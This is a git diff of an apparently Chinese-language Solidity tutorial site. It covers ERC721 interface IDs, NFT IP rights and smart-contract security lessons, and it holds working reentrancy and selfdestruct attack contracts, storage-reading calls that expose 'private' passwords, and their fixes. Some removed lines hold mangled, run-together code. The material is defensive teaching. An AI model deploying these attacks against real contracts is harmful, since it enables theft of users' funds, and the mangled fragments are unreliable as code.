    -    function getApproved(uint256 _tokenId) external view returns (address);
    -    function isApprovedForAll(address _owner, address _operator) external view returns (bool);
    +    function balanceOf(address _owner) external view returns (uint256);
    +    function ownerOf(uint256 _tokenId) external view returns (address);
    +    function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;
    +    function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
    +    function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
    +    function approve(address _approved, uint256 _tokenId) external payable;
    +    function setApprovalForAll(address _operator, bool _approved) external;
    +    function getApproved(uint256 _tokenId) external view returns (address);
    +    function isApprovedForAll(address _owner, address _operator) external view returns (bool);
     }
     

    NFT721的interfaceId为:0x80ac58cd,计算公式为:

    @@ -3061,11 +3057,11 @@

    NFT721的interfaceid

    当我们想判断一个合约的类型是否为NFT721时,只需检查一下supportsInterface(0x80ac58cd)是否返回true即可。

    NFT721Meta的interfaceId

    -
    // Note: the ERC-165 identifier for this interface is 0x5b5e139f.
    -interface ERC721Metadata /* is ERC721 */ {
    -    function name() external view returns (string _name);
    -    function symbol() external view returns (string _symbol);
    -    function tokenURI(uint256 _tokenId) external view returns (string); 
    +
    // Note: the ERC-165 identifier for this interface is 0x5b5e139f.
    +interface ERC721Metadata /* is ERC721 */ {
    +    function name() external view returns (string _name);
    +    function symbol() external view returns (string _symbol);
    +    function tokenURI(uint256 _tokenId) external view returns (string); 
     }
     

    NFT721Meta的interfaceId为:0x5b5e139f,计算公式为:

    @@ -3073,14 +3069,14 @@

    NFT721Meta的interfaceId

    在NFT721中实现supportsInterface

    下面这个接口是NFT721中的标准实现

    -
        function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
    -        return
    -                  // 0x80ac58cd
    +
        function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
    +        return
    +                  // 0x80ac58cd
                 interfaceId == type(IERC721).interfaceId ||
    -            // 0x5b5e139f
    +            // 0x5b5e139f
                 interfaceId == type(IERC721Metadata).interfaceId ||
    -            // 0x01ffc9a7
    -            super.supportsInterface(interfaceId);
    +            // 0x01ffc9a7
    +            super.supportsInterface(interfaceId);
         }
     

    总结

    @@ -3115,7 +3111,7 @@

    总结

    @@ -3201,14 +3197,6 @@

    总结

    - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/05_EIP2612.html" "b/cn/03_EIP\345\215\217\350\256\256/05_EIP2612.html" index 3f9f44f5..4b2c6be2 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/05_EIP2612.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/05_EIP2612.html" @@ -36,10 +36,6 @@ - - - - @@ -3051,7 +3047,7 @@

    第5节:EIP2612(Permit相关) @@ -3137,14 +3133,6 @@

    第5节:EIP2612(Permit相关) - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/06_EIP712.html" "b/cn/03_EIP\345\215\217\350\256\256/06_EIP712.html" index cd5279b8..cd15e277 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/06_EIP712.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/06_EIP712.html" @@ -36,10 +36,6 @@ - - - - @@ -3046,7 +3042,7 @@

    第6节:EIP712(结构化签 @@ -3132,14 +3128,6 @@

    第6节:EIP712(结构化签 - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/07_ERC5114.html" "b/cn/03_EIP\345\215\217\350\256\256/07_ERC5114.html" index 5e32c78e..2d3b02a1 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/07_ERC5114.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/07_ERC5114.html" @@ -36,10 +36,6 @@ - - - - @@ -3054,7 +3050,7 @@

    SBT_NFT721

    @@ -3140,14 +3136,6 @@

    SBT_NFT721

    - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/08_ERC1820.html" "b/cn/03_EIP\345\215\217\350\256\256/08_ERC1820.html" index 8200867d..d6f345be 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/08_ERC1820.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/08_ERC1820.html" @@ -36,10 +36,6 @@ - - - - @@ -3046,7 +3042,7 @@

    第8节:ERC1820

    @@ -3132,14 +3128,6 @@

    第8节:ERC1820

    - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/09_ERC4626.html" "b/cn/03_EIP\345\215\217\350\256\256/09_ERC4626.html" index 0f2d1d64..efa7279d 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/09_ERC4626.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/09_ERC4626.html" @@ -36,10 +36,6 @@ - - - - @@ -3049,7 +3045,7 @@

    第9节:EIP4626

    @@ -3135,14 +3131,6 @@

    第9节:EIP4626

    - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/10_EIP1559.html" "b/cn/03_EIP\345\215\217\350\256\256/10_EIP1559.html" index fce79d8b..3b988897 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/10_EIP1559.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/10_EIP1559.html" @@ -36,10 +36,6 @@ - - - - @@ -3081,7 +3077,7 @@

    3. 主网2021年已经支持了

    @@ -3167,14 +3163,6 @@

    3. 主网2021年已经支持了

    - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/20_NFT\347\220\206\345\277\265\346\216\242\350\256\250.html" "b/cn/03_EIP\345\215\217\350\256\256/20_NFT\347\220\206\345\277\265\346\216\242\350\256\250.html" index 575d14a6..8a8c427c 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/20_NFT\347\220\206\345\277\265\346\216\242\350\256\250.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/20_NFT\347\220\206\345\277\265\346\216\242\350\256\250.html" @@ -36,10 +36,6 @@ - - - - @@ -3090,7 +3086,7 @@

    so each t Almost no top NFTs convey IP rights, Galaxy found -In the case of Moonbirds, Galaxy found its switch from commercial use licensing to Creative Commons (CC0) — without community consent — highlights the fact that Moonbirds holders never owned any intellectual property (IP). The parent company behind Moonbirds and Oddities was calling the shots. +In the case of Moonbirds, Galaxy found its switch from commercial use licensing to Creative Commons (CC0) — without community consent — highlights the fact that Moonbirds holders never owned any intellectual property (IP). The parent company behind Moonbirds and Oddities was calling the shots. World of Women (WoW). @@ -3102,8 +3098,8 @@

    so each t 新:他说的不是NFT的IP权力如何转移,而是说NFT如何帮助转移IP权力 -# 1. 如果NFT是有权利的(CC0,或者创建的时候,明确有IP的),那么可以帮助转移 -# 2. 如果发型的时候没有赋予IP权力,那么则无法帮助完成IP权力转移。 +# 1. 如果NFT是有权利的(CC0,或者创建的时候,明确有IP的),那么可以帮助转移 +# 2. 如果发型的时候没有赋予IP权力,那么则无法帮助完成IP权力转移。

  • New challenges for IP rights owners? 知识产权所有者面临的新挑战?

    @@ -3111,9 +3107,9 @@

    so each t 这种IP权限的不确定,是有别于传统IP的,如何找到有效方式消除困惑,是需要解决的挑战之一。 -# 你的创作被其他人发行了NFT(电影) +# 你的创作被其他人发行了NFT(电影) -# 如果两个NFT高度相似 +# 如果两个NFT高度相似 These two separate ownership mechanisms (corpus mysticum with the copyright ownership of the art, design, etc. of the NFT and corpus mechanicum with the ownership of the NFT per se) can confuse and complicate the transfer of NFTs’ copyright ownership.

  • @@ -3121,7 +3117,7 @@

    so each t
    1. Could smart contracts be used for IP agreements? 智能合约能否用于知识产权协议?

      -
      # 不仅局限于NFT了,这次仅仅说的是智能合约,所以可以把话题扩大来讲
      +
      # 不仅局限于NFT了,这次仅仅说的是智能合约,所以可以把话题扩大来讲
       
       答案是肯定的,目前的IP权限是没有写入智能合约的,而是有链下运营来决定的,我们完全可以把IP权限直接在合约部署的时候就写入代码中
       
      @@ -3243,7 +3239,7 @@ 

      参考链接

      @@ -3329,14 +3325,6 @@

      参考链接

      - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/21_metaverse.html" "b/cn/03_EIP\345\215\217\350\256\256/21_metaverse.html" index 83309026..dc2d0ea5 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/21_metaverse.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/21_metaverse.html" @@ -36,10 +36,6 @@ - - - - @@ -3052,7 +3048,7 @@

      第9章:Metaverse

      @@ -3138,14 +3134,6 @@

      第9章:Metaverse

      - - - - - - - - diff --git "a/cn/03_EIP\345\215\217\350\256\256/index.html" "b/cn/03_EIP\345\215\217\350\256\256/index.html" index 23697083..d537f423 100644 --- "a/cn/03_EIP\345\215\217\350\256\256/index.html" +++ "b/cn/03_EIP\345\215\217\350\256\256/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3069,7 +3065,7 @@

      ERC和EIP的定义与区别?

      @@ -3155,14 +3151,6 @@

      ERC和EIP的定义与区别?

      - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/01_\351\207\215\345\205\245\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/01_\351\207\215\345\205\245\346\224\273\345\207\273.html" index 6cc2d904..0062129c 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/01_\351\207\215\345\205\245\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/01_\351\207\215\345\205\245\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3024,10 +3020,10 @@

      第1节:重入攻击(Re-entry

      假设:我们在A合约中调用B合约的方法

      重入攻击是指:A合约调用B(恶意合约)结束之前,B(恶意合约)内的函数反向调用A(原合约)的函数实现的攻击。

      以下案例是在使用call进行ether转账时,在fallback函数中再次调用了call转账,从而实现攻击效果。

      -
      // SPDX-License-Identifier: MIT
      -pragma solidity ^0.8.13;
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity ^0.8.13;
       
      -/*
      +/*
       EtherStore is a contract where you can deposit and withdraw ETH.
       This contract is vulnerable to re-entrancy attack.
       Let's see why.
      @@ -3052,54 +3048,54 @@ 

      第1节:重入攻击(Re-entry - Attack.fallback (receives 1 Ether) - EtherStore.withdraw - Attack fallback (receives 1 Ether) -*/ +*/ contract EtherStore { - mapping(address => uint) public balances; + mapping(address => uint) public balances; - function deposit() public payable { + function deposit() public payable { balances[msg.sender] += msg.value; } - function withdraw() public { + function withdraw() public { uint bal = balances[msg.sender]; - require(bal > 0); + require(bal > 0); - (bool sent, ) = msg.sender.call{value: bal}(""); - require(sent, "Failed to send Ether"); + (bool sent, ) = msg.sender.call{value: bal}(""); + require(sent, "Failed to send Ether"); - balances[msg.sender] = 0; + balances[msg.sender] = 0; } - // Helper function to check the balance of this contract - function getBalance() public view returns (uint) { - return address(this).balance; + // Helper function to check the balance of this contract + function getBalance() public view returns (uint) { + return address(this).balance; } } contract Attack { EtherStore public etherStore; - constructor(address _etherStoreAddress) { + constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } - // Fallback is called when EtherStore sends Ether to this contract. + // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { - if (address(etherStore).balance >= 1 ether) { + if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } - function attack() external payable { - require(msg.value >= 1 ether); - etherStore.deposit{value: 1 ether}(); + function attack() external payable { + require(msg.value >= 1 ether); + etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } - // Helper function to check the balance of this contract - function getBalance() public view returns (uint) { - return address(this).balance; + // Helper function to check the balance of this contract + function getBalance() public view returns (uint) { + return address(this).balance; } }

      @@ -3107,49 +3103,56 @@

      第1节:重入攻击(Re-entry
      1. 在调用外部合约之前,优先更新状态变量;
      -
          function withdraw() public {
      +
          function withdraw() public {
               uint bal = balances[msg.sender];
      -        require(bal > 0);
      +        require(bal > 0);
      +
      +          balances[msg.sender] = 0;  //<<<=== 提前修改状态变量
       
      -          balances[msg.sender] = 0;  //<<
      + (bool sent, ) = msg.sender.call{value: bal}(""); + require(sent, "Failed to send Ether"); + } +
      1. 使用修饰器,阻止重入攻击
      -
      // SPDX-License-Identifier: MIT
      -pragma solidity ^0.8.13;
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity ^0.8.13;
       
       contract ReEntrancyGuard {
           bool internal locked;
       
      -    modifier noReentrant() {
      -        require(!locked, "No re-entrancy");
      -        locked = true;
      +    modifier noReentrant() {
      +        require(!locked, "No re-entrancy");
      +        locked = true;
               _;
      -        locked = false;
      +        locked = false;
           }
       }
       
       contract EtherStore is ReEntrancyGuard {
      -    mapping(address => uint) public balances;
      +    mapping(address => uint) public balances;
       
      -    function deposit() public payable {
      +    function deposit() public payable {
               balances[msg.sender] += msg.value;
           }
       
      -    function withdraw() public noReentrant { //<<<=== 增加修饰器 uint bal="balances[msg.sender];" require(bal> 0);
      +    function withdraw() public noReentrant { //<<<=== 增加修饰器
      +        uint bal = balances[msg.sender];
      +        require(bal > 0);
       
      -        (bool sent, ) = msg.sender.call{value: bal}("");
      -        require(sent, "Failed to send Ether");
      +        (bool sent, ) = msg.sender.call{value: bal}("");
      +        require(sent, "Failed to send Ether");
       
      -        balances[msg.sender] = 0;
      +        balances[msg.sender] = 0;
           }
       
      -    // Helper function to check the balance of this contract
      -    function getBalance() public view returns (uint) {
      -        return address(this).balance;
      +    // Helper function to check the balance of this contract
      +    function getBalance() public view returns (uint) {
      +        return address(this).balance;
           }
       }
      -
      +
      1. 原理分析:
      @@ -3181,7 +3184,7 @@

      第1节:重入攻击(Re-entry @@ -3267,14 +3270,6 @@

      第1节:重入攻击(Re-entry - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/02_\350\277\224\345\233\236\345\200\274\346\240\241\351\252\214.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/02_\350\277\224\345\233\236\345\200\274\346\240\241\351\252\214.html" index 02bcaf58..d881fdbf 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/02_\350\277\224\345\233\236\345\200\274\346\240\241\351\252\214.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/02_\350\277\224\345\233\236\345\200\274\346\240\241\351\252\214.html" @@ -36,10 +36,6 @@ - - - - @@ -3024,18 +3020,18 @@

      第2节:返回值校验

      调用外部合约函数时,有些函数调用失败不会抛出错误回滚交易而是返回 false,如果忘记检查函数返回值会导致误以为调用成功。

      例如:approve等方法就是不安全的,因此引入了safeApprove

      当使用call方法调用approve时,如果没有校验返回值,则即使失败,也不会抛出异常。

      -
      // SPDX-License-Identifier: MIT
      -pragma solidity ^0.8.8;
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity ^0.8.8;
       
       contract ReturnValue {
      -  function callchecked(address callee) public {
      -    (bool success, ) = callee.call("");
      -    require(success, "call failed!");
      +  function callchecked(address callee) public {
      +    (bool success, ) = callee.call("");
      +    require(success, "call failed!");
         }
       
      -  function callnotchecked(address callee) public {
      -    // 未校验
      -    (bool success, ) = callee.call("");
      +  function callnotchecked(address callee) public {
      +    // 未校验
      +    (bool success, ) = callee.call("");
         }
       }
       
      @@ -3066,7 +3062,7 @@

      第2节:返回值校验

      @@ -3152,14 +3148,6 @@

      第2节:返回值校验

      - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/03_\345\220\210\347\272\246\350\207\252\346\235\200\345\257\274\350\207\264Dos.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/03_\345\220\210\347\272\246\350\207\252\346\235\200\345\257\274\350\207\264Dos.html" index 687db375..ab6cb1a3 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/03_\345\220\210\347\272\246\350\207\252\346\235\200\345\257\274\350\207\264Dos.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/03_\345\220\210\347\272\246\350\207\252\346\235\200\345\257\274\350\207\264Dos.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,14 +3019,14 @@

      第3节:Self Destruct

      合约自杀时,会将合约自身持有的ether全部转入到指定地址之中。

      如果某个合约使用了balance方法来进行校验时,有可能会出现攻击漏洞。

      -
      // SPDX-License-Identifier: MIT
      -pragma solidity ^0.8.13;
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity ^0.8.13;
       
      -// The goal of this game is to be the 7th player to deposit 1 Ether.
      -// Players can deposit only 1 Ether at a time.
      -// Winner will be able to withdraw all Ether.
      +// The goal of this game is to be the 7th player to deposit 1 Ether.
      +// Players can deposit only 1 Ether at a time.
      +// Winner will be able to withdraw all Ether.
       
      -/*
      +/*
       1. Deploy EtherGame
       2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
       2. Deploy Attack with address of EtherGame
      @@ -3040,40 +3036,78 @@ 

      第3节:Self Destruct

      What happened? Attack forced the balance of EtherGame to equal 7 ether. Now no one can deposit and the winner cannot be set. -*/ +*/
      contract EtherGame { - uint public targetAmount = 7 ether; + uint public targetAmount = 7 ether; address public winner; - function deposit() public payable { - require(msg.value == 1 ether, "You can only send 1 Ether"); + function deposit() public payable { + require(msg.value == 1 ether, "You can only send 1 Ether"); + + uint balance = address(this).balance; + require(balance <= targetAmount, "Game is over"); + + if (balance == targetAmount) { + winner = msg.sender; + } + } + + function claimReward() public { + require(msg.sender == winner, "Not winner"); + + (bool sent, ) = msg.sender.call{value: address(this).balance}(""); + require(sent, "Failed to send Ether"); + } +} + +contract Attack { + EtherGame etherGame; + + constructor(EtherGame _etherGame) { + etherGame = EtherGame(_etherGame); + } - uint balance = address(this).balance; - require(balance <= targetamount, "game is over"); if (balance="=" targetamount) { winner="msg.sender;" } function claimreward() public require(msg.sender="=" winner, "not winner"); (bool sent, )="msg.sender.call{value:" address(this).balance}(""); require(sent, "failed to send ether"); contract attack ethergame ethergame; constructor(ethergame _ethergame) attack() payable you can simply break the game by sending ether so that balance>= 7 ether + function attack() public payable { + // You can simply break the game by sending ether so that + // the game balance >= 7 ether - // cast address to payable + // cast address to payable address payable addr = payable(address(etherGame)); selfdestruct(addr); } } -
      +

      解决方案:不要依赖address(this).balance来进行校验

      -
      // SPDX-License-Identifier: MIT
      -pragma solidity ^0.8.13;
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity ^0.8.13;
       
       contract EtherGame {
      -    uint public targetAmount = 3 ether;
      +    uint public targetAmount = 3 ether;
           uint public balance;
           address public winner;
       
      -    function deposit() public payable {
      -        require(msg.value == 1 ether, "You can only send 1 Ether");
      +    function deposit() public payable {
      +        require(msg.value == 1 ether, "You can only send 1 Ether");
       
      -          // !!通过状态变量来统计ether,此时即使合约自杀传入ether,也不会干扰条件判断逻辑!!
      +          // !!通过状态变量来统计ether,此时即使合约自杀传入ether,也不会干扰条件判断逻辑!!
               balance += msg.value;
       
      -        require(balance 
      + require(balance <= targetAmount, "Game is over"); + + if (balance == targetAmount) { + winner = msg.sender; + } + } + + function claimReward() public { + require(msg.sender == winner, "Not winner"); + + (bool sent, ) = msg.sender.call{value: balance}(""); + require(sent, "Failed to send Ether"); + } +} +
      @@ -3101,7 +3135,7 @@

      第3节:Self Destruct

      @@ -3187,14 +3221,6 @@

      第3节:Self Destruct

      - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/04_\350\257\273\345\217\226\347\247\201\346\234\211\345\217\230\351\207\217.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/04_\350\257\273\345\217\226\347\247\201\346\234\211\345\217\230\351\207\217.html" index 0dba63bc..dba6919f 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/04_\350\257\273\345\217\226\347\247\201\346\234\211\345\217\230\351\207\217.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/04_\350\257\273\345\217\226\347\247\201\346\234\211\345\217\230\351\207\217.html" @@ -36,10 +36,6 @@ - - - - @@ -3023,83 +3019,83 @@

      第4节:访问私有数据Pr

      所有链上的数据都可以被访问;不要把任何敏感信息存储在链上

      private修饰符表示链上合约无法访问该数据,但是可以通过链下(读取slot的方式读取私有数据)

      -
      // SPDX-License-Identifier: MIT
      -pragma solidity ^0.8.13;
      +
      // SPDX-License-Identifier: MIT
      +pragma solidity ^0.8.13;
       
      -/*
      +/*
       Note: cannot use web3 on JVM, so use the contract deployed on ropsten
       Note: browser Web3 is old so use Web3 from truffle console
       
       Contract deployed on Ropsten
       0x3505a02BCDFbb225988161a95528bfDb279faD6b
      -*/
      +*/
       
      -/*
      +/*
       # Storage
       - 2 ** 256 slots
       - 32 bytes for each slot
       - data is stored sequentially in the order of declaration
       - storage is optimized to save space. If neighboring variables fit in a single
         32 bytes, then they are packed into the same slot, starting from the right
      -*/
      +*/
       
       contract Vault {
      -    // slot 0
      -    uint public count = 123;
      -    // slot 1
      +    // slot 0
      +    uint public count = 123;
      +    // slot 1
           address public owner = msg.sender;
      -    bool public isTrue = true;
      -    uint16 public u16 = 31;
      -    // slot 2
      +    bool public isTrue = true;
      +    uint16 public u16 = 31;
      +    // slot 2
           bytes32 private password;
       
      -    // constants do not use storage
      -    uint public constant someConst = 123;
      +    // constants do not use storage
      +    uint public constant someConst = 123;
       
      -    // slot 3, 4, 5 (one for each array element)
      -    bytes32[3] public data;
      +    // slot 3, 4, 5 (one for each array element)
      +    bytes32[3] public data;
       
           struct User {
               uint id;
               bytes32 password;
           }
       
      -    // slot 6 - length of array
      -    // starting from slot hash(6) - array elements
      -    // slot where array element is stored = keccak256(slot)) + (index * elementSize)
      -    // where slot = 6 and elementSize = 2 (1 (uint) +  1 (bytes32))
      +    // slot 6 - length of array
      +    // starting from slot hash(6) - array elements
      +    // slot where array element is stored = keccak256(slot)) + (index * elementSize)
      +    // where slot = 6 and elementSize = 2 (1 (uint) +  1 (bytes32))
           User[] private users;
       
      -    // slot 7 - empty
      -    // entries are stored at hash(key, slot)
      -    // where slot = 7, key = map key
      -    mapping(uint => User) private idToUser;
      +    // slot 7 - empty
      +    // entries are stored at hash(key, slot)
      +    // where slot = 7, key = map key
      +    mapping(uint => User) private idToUser;
       
      -    constructor(bytes32 _password) {
      +    constructor(bytes32 _password) {
               password = _password;
           }
       
      -    function addUser(bytes32 _password) public {
      -        User memory user = User({id: users.length, password: _password});
      +    function addUser(bytes32 _password) public {
      +        User memory user = User({id: users.length, password: _password});
       
               users.push(user);
               idToUser[user.id] = user;
           }
       
      -    function getArrayLocation(
      +    function getArrayLocation(
               uint slot,
               uint index,
               uint elementSize
      -    ) public pure returns (uint) {
      -        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
      +    ) public pure returns (uint) {
      +        return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
           }
       
      -    function getMapLocation(uint slot, uint key) public pure returns (uint) {
      -        return uint(keccak256(abi.encodePacked(key, slot)));
      +    function getMapLocation(uint slot, uint key) public pure returns (uint) {
      +        return uint(keccak256(abi.encodePacked(key, slot)));
           }
       }
       
      -/*
      +/*
       slot 0 - count
           web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", 0, console.log)
       slot 1 - u16, isTrue, owner
      @@ -3128,7 +3124,7 @@ 

      第4节:访问私有数据Pr user 1 web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b828", console.log) web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b829", console.log) -*/ +*/

      在线验证:https://web3playground.io/QmQgatm8kvy3QcWugTTiegiAz8mnqLkaXGRRu37yX1ucFq

      @@ -3158,7 +3154,7 @@

      第4节:访问私有数据Pr @@ -3244,14 +3240,6 @@

      第4节:访问私有数据Pr - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/11_\345\256\211\345\205\250\344\272\213\346\225\2051-poly\347\275\221\347\273\234\345\223\210\345\270\214\347\242\260\346\222\236\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/11_\345\256\211\345\205\250\344\272\213\346\225\2051-poly\347\275\221\347\273\234\345\223\210\345\270\214\347\242\260\346\222\236\346\224\273\345\207\273.html" index cc5ab262..06f89eb3 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/11_\345\256\211\345\205\250\344\272\213\346\225\2051-poly\347\275\221\347\273\234\345\223\210\345\270\214\347\242\260\346\222\236\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/11_\345\256\211\345\205\250\344\272\213\346\225\2051-poly\347\275\221\347\273\234\345\223\210\345\270\214\347\242\260\346\222\236\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3055,7 +3051,7 @@

      第11节:安全 @@ -3141,14 +3137,6 @@

      第11节:安全 - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/12_\345\256\211\345\205\250\344\272\213\346\225\2052-OP\344\273\243\345\270\201\351\207\215\346\224\276\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/12_\345\256\211\345\205\250\344\272\213\346\225\2052-OP\344\273\243\345\270\201\351\207\215\346\224\276\346\224\273\345\207\273.html" index 7f779dc9..10a678d7 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/12_\345\256\211\345\205\250\344\272\213\346\225\2052-OP\344\273\243\345\270\201\351\207\215\346\224\276\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/12_\345\256\211\345\205\250\344\272\213\346\225\2052-OP\344\273\243\345\270\201\351\207\215\346\224\276\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3064,7 +3060,7 @@

      第12节:安全事故2- @@ -3150,14 +3146,6 @@

      第12节:安全事故2- - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/13_\345\256\211\345\205\250\344\272\213\346\225\2053-FTX\345\233\240\345\205\215\346\211\213\347\273\255\350\264\271\346\217\220\345\270\201\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/13_\345\256\211\345\205\250\344\272\213\346\225\2053-FTX\345\233\240\345\205\215\346\211\213\347\273\255\350\264\271\346\217\220\345\270\201\346\224\273\345\207\273.html" index 016edd61..4eb4f33c 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/13_\345\256\211\345\205\250\344\272\213\346\225\2053-FTX\345\233\240\345\205\215\346\211\213\347\273\255\350\264\271\346\217\220\345\270\201\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/13_\345\256\211\345\205\250\344\272\213\346\225\2053-FTX\345\233\240\345\205\215\346\211\213\347\273\255\350\264\271\346\217\220\345\270\201\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3098,7 +3094,7 @@

      本文涉及到的工具

      @@ -3184,14 +3180,6 @@

      本文涉及到的工具

      - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/14_\345\256\211\345\205\250\344\272\213\346\225\2054-profanity\345\274\261\351\232\217\346\234\272\346\225\260\346\232\264\345\212\233\347\240\264\350\247\243\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/14_\345\256\211\345\205\250\344\272\213\346\225\2054-profanity\345\274\261\351\232\217\346\234\272\346\225\260\346\232\264\345\212\233\347\240\264\350\247\243\346\224\273\345\207\273.html" index 1099c8d2..d6380887 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/14_\345\256\211\345\205\250\344\272\213\346\225\2054-profanity\345\274\261\351\232\217\346\234\272\346\225\260\346\232\264\345\212\233\347\240\264\350\247\243\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/14_\345\256\211\345\205\250\344\272\213\346\225\2054-profanity\345\274\261\351\232\217\346\234\272\346\225\260\346\232\264\345\212\233\347\240\264\350\247\243\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3049,7 +3045,7 @@

      第14 @@ -3135,14 +3131,6 @@

      第14 - - - - - - - - diff --git "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/15_\345\256\211\345\205\250\344\272\213\346\225\2055-\345\207\272\345\235\227\347\233\270\345\205\263\346\224\273\345\207\273.html" "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/15_\345\256\211\345\205\250\344\272\213\346\225\2055-\345\207\272\345\235\227\347\233\270\345\205\263\346\224\273\345\207\273.html" index a29f29af..225c4507 100644 --- "a/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/15_\345\256\211\345\205\250\344\272\213\346\225\2055-\345\207\272\345\235\227\347\233\270\345\205\263\346\224\273\345\207\273.html" +++ "b/cn/04_\345\220\210\347\272\246\346\224\273\345\207\273/15_\345\256\211\345\205\250\344\272\213\346\225\2055-\345\207\272\345\235\227\347\233\270\345\205\263\346\224\273\345\207\273.html" @@ -36,10 +36,6 @@ - - - - @@ -3064,7 +3060,7 @@

      第15节:安全事故5- @@ -3150,14 +3146,6 @@

